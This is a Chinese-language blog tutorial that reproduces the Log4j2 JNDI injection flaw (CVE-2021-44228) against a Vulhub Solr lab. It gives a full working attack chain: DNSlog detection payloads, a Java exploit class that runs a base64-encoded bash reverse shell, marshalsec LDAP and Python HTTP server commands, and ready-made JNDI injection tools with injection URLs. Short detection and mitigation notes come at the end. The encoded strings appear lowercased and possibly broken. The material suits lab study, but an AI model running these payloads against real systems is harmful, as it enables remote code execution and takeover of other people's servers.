当前位置: 代码网 > it编程>前端脚本>Python > log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

2024年08月01日 Python 我要评论
本文是log4j2远程代码执行漏洞原理和漏洞复现的详细说明。基于vulhub搭建靶场,攻击者利用log4j2框架下的lookup服务提供的{}字段解析功能,在{}内使用了了JNDI注入的方式,通过RMI或LDAP服务远程加载了攻击者提前部署好的恶意代码(.class),最终造成了远程代码执行。

漏洞原理

啥是log4j2?

log4j2是apache下的java应用常见的开源日志库,是一个就java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、gui组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

啥是jndi?

由于漏洞利用会涉及到jndi注入相关的知识,这里简要做一个对jndi的介绍。

jndi,全称为java命名和目录接口(java naming and directory interface),是sun公司提供的一种标准的java命名系统接口,允许从指定的远程服务器获取并加载对象jndi相当于一个用于映射的字典,使得java应用程序可以和这些命名服务和目录服务之间进行交互。jndi注入攻击时常用的就是通过rmi和ldap两种服务,本文以ldap服务为例进行复现。

log4j2远程代码执行漏洞原理

cve编号:cve-2021-44228

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行jndi注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用jndi服务(ldap)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

画个简单点的漏洞利用示意图,如下:

尽可能画的详细一点,大概是下图。

 攻击者构造payload,在jndi接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},jndi会去对应的服务(如ldap、rmi、dns、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。

 靶场搭建

 靶机:ubuntu  192.168.200.129(无所谓是不是ubuntu,随便找个地方用docker启动就行)

用vulhub靶场搭建,首先进入目录cve-2021-44228中,docker启动命令:

docker-compose up –d

查看一下端口:

docker-compose up -d

 发现端口是8983,浏览器访问http://192.168.200.129:8983/

 漏洞检测

 用dnslog平台检测dns回显,看看有没有漏洞存在,网址为:dnslog platform

 点击get subdomin获取一个子域名,我这里是3dto27.dnslog.cn

/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3dto27.dnslog.cn }

 注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在get subdomin获取的子域名。如果存在log4j2漏洞,我们将在dnslog平台看到回显。

返回刚才的dnslog平台,点击刷新记录refresh record(可能比较慢,不要着急,可以多点几次refresh record),可以看到有数据:在dns query record一栏下面出现了条目,回显了java版本1.8.0_102,说明存在log4j漏洞。

漏洞利用(获取反弹shell) 

我第一次复现的时候,直接用了jndi注入工具jndi-injection-exploit-1.0-snapshot-all.jar或jndiexploit-1.4-snapshot.jar,可以在github上搜一下(后文会介绍),但我写博客的时候考虑到用这种工具感觉像是一键复现漏洞,对漏洞利用的每个步骤好像并不是很明确,所以我们还是先不用这种方法,还是老老实实自己编写一下恶意代码,启动一下恶意的http服务站点和ldap服务,完整的演示一下过程。

靶机:ubuntu  192.168.200.129 (随便找个地方用docker搭一下就行)

攻击机: kali  192.168.200.131 (无所谓是不是kali,windows都行)

方法一:编写恶意文件

我们先编写以下的恶意文件exploit.java,我们企图反弹shell到kali(ip为192.168.200.131)的7777端口,因此对应的bash命令为:

bash -i >& /dev/tcp/192.168.200.131/7777 0>&1

然后对上述命令进行base64编码,这里给出一个网站,可以直接进行payload的编码:runtime.exec payload generater | aresx's blog (ares-x.com)

编码结果为:

 bash -c {echo,ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljiwmc4xmzevnzc3nyawpiyx}|{base64,-d}|{bash,-i}

好的,有了编码结果,我们就可以编写恶意文件了,编写以下代码命名为exploit.java。

import java.lang.runtime;
import java.lang.process;
public class exploit {
     public exploit(){
             try{
                 runtime.getruntime().exec("/bin/bash -c {echo,ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljiwmc4xmzevnzc3nyawpiyx}|{base64,-d}|{bash,-i}");
                                }catch(exception e){
                                            e.printstacktrace();
                                             }
                }
         public static void main(string[] argv){
                         exploit e = new exploit();
                            }
}

然后我们把exploit.java编译为exploit.class,最好保证javac的版本为1.8。命令如下:

javac exploit.java

我是在物理机中编译的,编译完成之后的.class文件立即被windows安全中心的病毒和威胁防护功能给干掉了,需要还原一下(手动狗头)。把编译好的exploit.class放到攻击机kali的随便一个目录下:

并在此目录开启http服务,我这里把端口设置为了4444,命令如下:

python -m http.server 4444

 然后浏览器访问攻击机ip:端口,我这里为192.168.200.131:4444 ,应该可以看到一个目录:

 读者只要保证你的站点目录里有exploit.class就行,至于我目录里有啥其他的读者不用在意。接下来,我们在攻击机启动ldap服务。这里使用工具marshalsec-0.0.3-snapshot-all.jar来快速开启,这个工具在我的上一篇博客中有提到,详情见

(56条消息) fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_bossfrank的博客-csdn博客

下载链接为marshalsec-0.0.3-snapshot-all.jar,下载完之后用mvn clean package -dskiptests生成.jar文件。在上一篇博客中,我们是用这个工具建立了rmi 服务,这次我们是要用这个工具建立ldap服务。

好了,废话说完了,现在我们在攻击机marshalsec-0.0.3-snapshot-all.jar所在目录开启ldap监听,命令中的1389为ldap服务的端口,你也可以换成别的端口。

java -cp marshalsec-0.0.3-snapshot-all.jar marshalsec.jndi.ldaprefserver  "http://刚才http服务的地址:端口号/#exploit" 1389

本例中的命令为:

java -cp marshalsec-0.0.3-snapshot-all.jar marshalsec.jndi.ldaprefserver  "http://192.168.200.131:4444/#exploit" 1389

 接着在攻击机另起一个终端,监听之前exploit.java里面写的反弹shell的端口7777,命令为:

nc -lvvp 7777

 最后一步,也是最关键的一步,进行jndi注入,我们在注入点/solr/admin/cores?action构造一个jndi注入如下:

${jndi:ldap://192.168.200.131:1389/exploit}

完整的url为:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/exploit}

也可以用burp抓包改包,但由于是get请求,直接输入url就行了。

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/exploit}

访问上述url(别忘了把第一个ip改为靶机ip,第二个ip改为之前建立的ldap服务的地址:端口号),应该就成功了,访问的页面回显如下:

 攻击机启动的ldap服务的终端显示如下:

 攻击机开启的http服务的终端显示如下:

 可以看到最后两条日志信息,靶机已经通过get方法请求了我们的恶意代码exploit.class,状态码为200,成功响应,此时应该已经实现了rce远程代码执行。我们查看对7777端口进行监听的终端,成功获取了shell:

已经可以在攻击机执行任何代码了:

 这样就实现了攻击,复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

docker-compose down

 方法二:直接利用现成的jndi注入工具

这种方法更为便捷,属于是一键部署了。用到的工具为jndi-injection-exploit-1.0-snapshot-all.jar,项目地址:sayers522/jndi-injection-exploit: jndi命令注入利用 (github.com)

下载之后还要用maven生成.jar可执行文件,在pom.xml目录下运行:mvn clean package -dskiptests   如果没有mvn,参阅

(51条消息) 史上最全安装maven教程_安装mvnw_小du猿的博客-csdn博客

如果build成功,会生成一个target目录,里面会有jndi-injection-exploit-1.0-snapshot-.jar

 使用这个工具,我们就不用自己编写恶意代码.class再上传服务器了,直接用这个工具输入对应的命令就行了。

与方法一类似,我们的目标是反弹shell到目标端口,反弹shell的命令为:bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

本例为(一会我们会在攻击机的一个终端监听6666端口):

bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

还是要对这个命令进行base64编码,网址再贴一遍:

runtime.exec payload generater | aresx's blog (ares-x.com)

编码后的结果为:

bash -c {echo,ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljiwmc4xmzevnjy2niawpiyx}|{base64,-d}|{bash,-i}

 然后我们利用jndi注入工具把这个反弹shell命令部署到ldap服务上去,在jndi-injection-exploit-1.0-snapshot-all.jar所在目录运行如下命令:

java -jar jndi-injection-exploit-1.0-snapshot-all.jar -c "构造反弹shell的命令的base64编码" -a "攻击机ip"

 本例为:

java -jar jndi-injection-exploit-1.0-snapshot-all.jar -c "bash -c {echo,ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljiwmc4xmzevnjy2niawpiyx}|{base64,-d}|{bash,-i}" -a "192.168.200.131"

运行之后的终端显示如下:

 可以看到,这里已经一键部署好了rmi和ldap服务的站点,并给出了路径,jdk1.8的版本为ldap://192.168.200.131:1389/exploit,jdk1.7的版本为:ldap://192.168.200.131:1389/exploit7 。这两个任选一个都行。

然后再打开一个终端,监听一个端口,本例监听的是6666(前面的反弹shell命令写的就是6666):

nc –lvvp 6666

 最后一步和方法一一样,构造payload,由于是get方式,浏览器访问以下任意一个url即可:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/exploit7}

用rmi应该也行:

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/exploit7}

这里以访问ldap的exploit为例:

 jndi注入工具的终端显示如下:

 打开刚才监听的终端,成功获取了反弹shell:

此时已经可以执行任意命令了:

这样就利用jndi注入工具实现了攻击,复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

docker-compose down

也可以使用其他的注入工具,如jndiexploit-1.4-snapshot.jar ,github链接:whitehsbg/jndiexploit: 对原版https://github.com/feihong-cs/jndiexploit 进行了实用化修改

这个工具是在攻击机的对应目录运行:

java -jar jndiexploit-1.4-snapshot.jar -i 攻击机ip

  

然后监听个端口7777,再浏览器访问

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/basic/reverseshell/192.168.200.131/7777}

之后就获得shell了。

 如下图,攻击成功。

 结语

 log4j2是2021年底爆出的非常严重的漏洞,可谓是风靡一时,“血洗互联网”,也是安全公司面试的常见题目,我们应该了解这个漏洞的原理及利用方式。

如何排查是否受到了攻击?

检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。

如何对log4j2的攻击进行防御?
1.设置log4j2.formatmsgnolookups=true。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截jndi语句来防止jndi注入。
3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。

这是我的第二篇csdn博客,希望以后能坚持多写写网络安全相关的文章,还望读者们多多关注,多多支持。如果有什么问题,欢迎评论区讨论。

最后我在b站上看了一个对此漏洞进行复现的视频,讲的挺清楚的,这里给个链接吧:

【面试必问】log4j漏洞复现及原理刨析,简单易懂_哔哩哔哩_bilibili

(0)

相关文章:

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com